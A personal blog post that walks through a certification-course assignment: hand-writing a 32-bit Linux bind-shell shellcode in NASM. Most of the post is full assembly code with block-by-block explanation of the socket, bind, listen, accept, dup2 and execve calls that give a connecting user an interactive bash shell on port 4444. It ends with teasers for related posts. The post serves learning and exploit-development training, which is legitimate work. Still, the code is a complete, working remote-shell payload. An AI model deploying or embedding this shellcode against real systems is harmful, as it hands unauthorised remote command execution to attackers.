Skip to main content

SLAE32 - Assignment 1

In preparation for the next Offensive Security certification class and challenge (CTP and OSCE), I decided to invest some time and energy into the Security Tube Linux Assembly Expert 32-bit class. That way I can have a solid foundation in understanding the finer workings of Assembly. Especially since my focus for my second Bachelor's degree was more along the lines of system administration and back-end web development instead of the programming focus of Computer Science. Still, I never stop with my learning and barely slow down at times.

This was the first assignment out of seven (7) and the requirements for assignment one (1) were as follows:

  1. Create a Shell_Bind_TCP shellcode
    1. Binds to a port
    2. Execs shell upon connection
  2. The PORT number should be easily configurable

This is a pretty standard request but I must admit the process was only somewhat familiar. I knew I could write the code pretty easily once I understood the process. For this, I had to fall back on my love for Python to understand what needed to be done. I also relied heavily on man pages along with several of the following header files.

  1. /usr/include/i386-linux-gnu/asm/unistd_32.h
  2. /usr/include/linux/net.h
  3. /etc/protocols

From my knowledge of Python, I knew I had to use Assembly to perform the following tasks:

  1. Create a socket
  2. Bind the created socket
  3. Listen on the created socket
  4. Accept connections on the created socket
  5. Redirect the created socket to standard in, out, and error
  6. Assuming all the above was successful, use EXECVE to run a shell

From the get go, I set out to code as many assignments as I could using the assembly knowledge learned from the course. I did this purposely because I wanted to be sure I could actually write assembly and dump the shellcode by hand, especially since freely available tools that generate shellcode have well known signatures that get picked up by Antivirus or Intrusion Detection/Prevention systems.

The full script can be found here:

Supplemental scripts that I developed for this class can be found on GitHub at the following location:

Like any .nasm script, we'll need to make some declarations. In this specific script, we'll communicate to the linker and compiler that we're going to use _start as our script starting point. We'll also define our .text section and the first block of code under _start:.

global _start

section .text


     ; This block sets up our socket EAX will contain the
     ; return value. We'll need to use this value later

     xor eax, eax         ; clean up eax to eliminate NULL bytes
     xor ebx, ebx         ; clean up ebx to eliminate NULL bytes
     xor ecx, ecx         ; clean up ecx to eliminate NULL bytes
     push 0x6             ; 3rd parameter TCP protocol to SYS_SOCKET
     push 0x1             ; 2nd parameter SOCK_STREAM to SYS_SOCKET
     push 0x2             ; 1st parameter AF_INET
     mov al, 0x66         ; define __NR_socketcall  102 (0x66)
     mov bl, 0x1          ; define SYS_SOCKET   1 (0x1)
     mov ecx, esp         ; ecx now contains address to top of stack for parameters
     int 0x80             ; execute

     mov edi, eax         ; store our return value for later

We then initialize our EAX, EBX, and ECX registers using the XOR instruction. The idea here is that we need to avoid a NULL (0x00) byte at all costs or otherwise risk our script not running properly. This is due to the fact a NULL byte is used to terminate strings. So, if any NULL bytes make it into our assembly program, we will run into issues when it comes time to execute the program. One thing to remember here is that any value XOR with itself will always be 0x00. That's why we use the XOR instruction to initialize our registers.

global _start

section .text


     ; This block sets up our socket EAX will contain the
     ; return value. We'll need to use this value later

     xor eax, eax         ; clean up eax to eliminate NULL bytes
     xor ebx, ebx         ; clean up ebx to eliminate NULL bytes
     xor ecx, ecx         ; clean up ecx to eliminate NULL bytes

These next instructions prepare our parameters by pushing them onto the stack. When we are executing a SOCKETCALL syscall, we have to put the initial system call into EAX (this is where SOCKETCALL goes), the next system call goes into EBX (this is where SOCKET, BIND, LISTEN, and ACCEPT will go), and the parameters to our second system call will go into ECX as a pointer. This is why we push the parameters to SOCKET onto the stack in reverse order. The pointer to the stack, or the stack pointer address will eventually get copied into ECX.

     push 0x6             ; 3rd parameter TCP protocol to SYS_SOCKET
     push 0x1             ; 2nd parameter SOCK_STREAM to SYS_SOCKET
     push 0x2             ; 1st parameter AF_INET

Let's look into each of these values. Essentially we're pushing the values 6 (0x6), 1 (0x1), and 2 (0x2) onto the stack. If we run cat /etc/protocols we see that the TCP protocol is number 6 in the list.

If we run man 2 socket in a terminal we can get the values for the last two push instructions. Notice in the image below that SOCK_STREAM is the first option (near the bottom of the image) for the type of socket we need to create. We want to choose SOCK_STREAM because we want to use the TCP protocol. We also choose AF_INET because we want to use bind to an IPv4 address (

So why do we push these onto the stack in what appears to be backwards order? The answer is simple! The stack operates on a Last In First Out (LIFO) basis. That means if we want to call our parameters in the correct order, we'll push them onto the stack in reverse order so that when we POP them off of the stack, or in our case when the pointer is called, the parameters will execute in the correct order. Moving along we come across our next set of instructions. In order to figure out what our SOCKETCALL system call is, we'll look in /usr/include/i386-linux-gnu/asm/unistd_32.h (your location may differ slightly depending upon your distribution of Linux).

Great, we see that system call number 102 is our SOCKETCALL which in hexadecimal is 0x66. We move this into al which is an 8-bit register within EAX. Next, we copy 0x1 (SOCKET) into bl and move the pointer to our SOCKET parameters into ECX. Finally we send the interrupt 0x80 signal and create our socket. If it succeeds, we'll get a positive integer returned if the socket is created successfully. Since we'll need this return value for BIND, LISTEN, and ACCEPT, we'll have to store it in a different register. For this, we'll use EDI.

     mov al, 0x66         ; define __NR_socketcall  102 (0x66)
     mov bl, 0x1          ; define SYS_SOCKET   1 (0x1)
     mov ecx, esp         ; ecx now contains address to top of stack for parameters
     int 0x80             ; execute

     mov edi, eax         ; store our return value for later

Our next bit of code starts a JMP-CALL-POP technique. This will short jump to our portconfig label. Once we short jump into portconfig, we call call_bind. When we make the call, EIP will contain the address to the portnum dw 0x5c11 instruction, and this will get pushed onto the stack.


     ; JMP CALL POP technique for port should do nicely
     jmp short portconfig



     call call_bind
     portnum dw 0x5c11   ; port 4444 (0x115c) don't forget little endian

The first instruction in our call_bind pops the address to our portnum dw 0x5c11 instruction into ESI. We now have the address of this instruction in a register and can use it in our BIND system call. This technique works well because hard coding any address into our program means our program may not work each time we execute it, plus we run the risk of the program not working on other flavors of Linux. In this block of code, it's important to notice we'll need our SOCKETFD from our SOCKET system call.


     ; get the port off of stack and store it temporarily
     ; there is some interesting referencing here for
     ; int bind(int sockfd, const struct sockaddr *addr,
     ;        socklen_t addrlen)
     ; need to handle the struct *addr
     ; struct sockaddr {
     ;       sa_family_t sa_family;
     ;       char        sa_data[14];
     ;   }

     pop esi             ; this should be our listening port JMP/CALL/POP
     xor eax, eax        ; clean out eax
     xor ebx, ebx        ; clean out ebx
     xor ecx, ecx        ; clean out ecx
     xor edx, edx        ; clean out edx
     push eax            ; we'll need to listen on
     push word [esi]     ; port pushed onto stack make sure to ONLY push 2 bytes
     mov al, 0x2         ; AF_INET IPv4 Internet protocols
     push ax             ; now our stack is set up
     mov edx, esp        ; store the stack address (of our struct)
     push 0x10           ; store length addr on stack
     push edx            ; now we need to push the pointer to our struct onto stack
     push edi            ; here's our returned socketfd from our SOCKET only 1 byte
     xor eax, eax        ; clean out eax again
     mov al, 0x66        ; define __NR_socketcall  102 (0x66)
     mov bl, 0x2         ; define SYS_BIND  2 (0x2)
     mov ecx, esp        ; parameters for bind, ecx should already be cleaned out
     int 0x80            ; call it, 0 will be returned on success

Our next section uses SOCKETCALL to call LISTEN. We'll need to use our original SOCKETFD again so that we listen on the original socket. This block follows a similar process as the socket and bind blocks.


     ; now we need to listen for connections
     ; int listen(int sockfd, int backlog);
     ; good thing we didn't get rid of edi
     ; since we'll need it here and 
     ; for accept()

     xor eax, eax        ; clean out eax
     xor ebx, ebx        ; clean out ebx
     xor ecx, ecx        ; clean out ecx
     push 0x1            ; int backlog
     push edi            ; int sockfd only a byte
     mov al, 0x66        ; define __NR_socketcall  102 (0x66)
     mov bl, 0x4         ; define SYS_LISTEN  4
     mov ecx, esp        ; parameters into ecx
     int 0x80            ; call it

I'll group the next two blocks of code together because they relate to each other as the second block requires the return value from the first block. Once we have our socket bound and listening, we'll need to accept connections to the socket. A quick review of the man 2 accept shows us what's needed for the ACCEPT system call.

Right of way we notice that int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) takes our socketfd from our original socket system call, and then a struct including an address, and finally addrlen indicating that if we use an actual IP address to accept connections on, we'll need to calculate how long that address is in bytes. However, as you can see in my verbose comments in the code below, there is an important detail with ACCEPT. If our address is NULL then our addrlen must also be NULL. This works well since we'll listen on all interfaces We will call ACCEPT much like the rest of our socket using the SOCKETCALL system call with the ACCEPT system call. Once our registers are set up, we'll use the interrupt signal to execute. The return value for this system call will get stored in EAX. The next set of instructions calls the DUP2 system call to redirect our ACCEPTFD to standard in, out, and error. This allows us to interact with the socket directly from a shell program. We'll launch this shell program next once we send the interrupt signal and execute the DUP2 system call.


     ; now we accept connections
     ; in this case we can use NULL
     ; values for addr. We'll have to
     ; we can be a bit lazier with this one
     ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
     ; The argument addr is a pointer to a sockaddr structure.  
     ; This structure is filled in with the address of the peer 
     ; socket, as known to the communications layer.  The exact 
     ; format of the address returned addr is determined by the 
     ; socket's address family (see socket(2) and the respective 
     ; protocol man pages).  When addr is NULL, nothing is filled 
     ; in. In this case, addrlen is  not  used, and should also be NULL.

     xor eax, eax        ; clean eax
     xor ebx, ebx        ; clean ebx
     push eax            ; set up null space addrlen
     push ebx            ; setup more nullspace for addr
     push edi            ; socketfd
     mov al, 0x66        ; define __NR_socketcall  102 (0x66)
     mov bl, 0x5         ; define SYS_ACCEPT 5 
     mov ecx, esp        ; parameters to define SYS_ACCEPT
     int 0x80            ; call it, eax will hold the new fd


     ; changes std in, out, error to the socket
     ; this is necessary for getting /bin/bash
     ; through the socket connection
     ; we'll use define __NR_dup2 63 (0x3f)
     ; int dup2(int oldfd, int newfd)

     mov ebx, eax        ; take fd from accept() as oldfd
     xor ecx, ecx        ; 0 (std in) in ecx
     xor eax, eax        ; clean out eax
     mov al, 0x3f        ; define __NR_dup2    63 (0x3f) 
     int 0x80            ; call it
     mov al, 0x3f        ; dup2
     inc ecx             ; 1 (std out) in cl
     int 0x80            ; call it
     mov al, 0x3f        ; dup2
     inc ecx             ; 2 (std error) in cl
     int 0x80            ; call it

At this point in the program's execution, our socket is set up, it is bound, it is listening on port 4444/TCP, and accepting connections on It is now time we call EXECVE to run /bin////bash -i. One might ask why I decided to use the -i option with /bin/bash. This is a personal preference really. It definitely adds a few more bytes to the length of the shell code and if we are aiming for the smallest shell code size possible, this will not win any awards. What this will do, however, is allow us to have a visual cue when we connect with NETCAT because the -i option means that /bin/bash will run as an interactive shell.


     ; now it's time to launch our shell
     ; program using execve. I prefer
     ; /bin/bash we'll use /bin////bash
     ; execve is 0xb (11)
     ; int execve(const char *filename, char *const argv[],
     ;          char *const envp[])

     xor eax, eax        ; clean out eax
     push eax            ; need a null byte for execve parameters
     push 0x68736162     ; hsab
     push 0x2f2f2f2f     ; ////
     push 0x6e69622f     ; nib/ 
     mov ebx, esp        ; save stack pointer in ebx
     push eax            ; Null onto stack
     push word 0x692d    ; "-i" parameter to /bin/bash
     mov esi, esp        ; save the argument pointer 
     push eax            ; null byte terminator
     push esi            ; pointer to "-i" parameter to /bin/bash
     push ebx            ; points to 0x00hsab////nib/
     mov ecx, esp        ; store pointer to 0x00hsab////nib/ into ecx
     xor edx, edx        ; NULL as last parameter
     mov al, 0xb         ; execve
     int 0x80            ; call it


     call call_bind
     portnum dw 0x5c11   ; port 4444 (0x115c) don't forget little endian

One important part of this code is to point out how we setup the stack for our -i option to /bin/bash. If we look carefully at EXECVE we see that the second parameter is a pointer to the ARGV[] array. The below image shows how our stack is setup to make sure we have the correct setup for the second parameter to EXECVE which will get stored in the ECX register.

As we run the compiled version, we connect to port 4444/TCP using NETCAT and receive a shell.

Excellent, our program works as expected. For those interested, here's how long our shellcode is in bytes.

Finally, here is the actual shellcode. The last two (2) bytes are the port making it easily configurable. I wrote a python script iptohex.pyto help with the task of converting a port and IP address into hex in little endian ( You may notice that the port 4444 in hex is 0x115c. The reason it is like this in the shellcode output is because I used the little endian format within the assembly code itself.


Thank you for reading this blog! I hope you actually learned something and can use this information to better your knowledge of shellcode and 32-bit assembly on Linux. I highly recommend you give the SLAE32 course a try. Full details can be found below.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-744

Part 2 - Assignment 2


Popular posts from this blog

SLAE/SLAE64 Course Review

After recently finishing both the SLAE ( and SLAE64 ( courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.

  If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through Pentes…

SLAE64 - Assignment 1

Following completion of the SLAE32 course (, I decided to take advantage of the Pentester Academy account we have at work to continue the training with SLAE64 ( So, we'll delve into each assignment like we did before and because it's part of the certification challenge.

Assignment 1 requirements are as follows:

Create a Shell_Bind_TCP shellcodeBinds to a portNeeds a "Passcode"If Passcode is correct then Execs ShellRemove 0x00 from the Bind TCP Shellcode discussed

PWK and the OSCP Review

Back in 2014 I started down the Pentesting With Kali (PWK) course about a month after passing the CISSP exam, for which I self studied for about 4 months. What can I say, I was a glutton for punishment but it was well worth it. I started off with 90 days, but due to a crazy work schedule, wound up extending it another 30 for a total of 120 days of lab access. I'm not as young as I would like to think I am and have other important responsibilities as Dad and Husband which I consider "Priority 1". So, my time to study, perform the homework assignments, go through the modules, videos, and lab work were limited to 2 hours in the morning before work (typically 5am until 7am), and then again for a few hours after everyone was asleep in the house (typically 9pm until 11pm or Midnight). Weekends I could usually spend up to 6 hours on Saturdays and Sundays studying which helped tremendously.

Other people have already done a great job at reviewing the PWK course and the OSCP chall…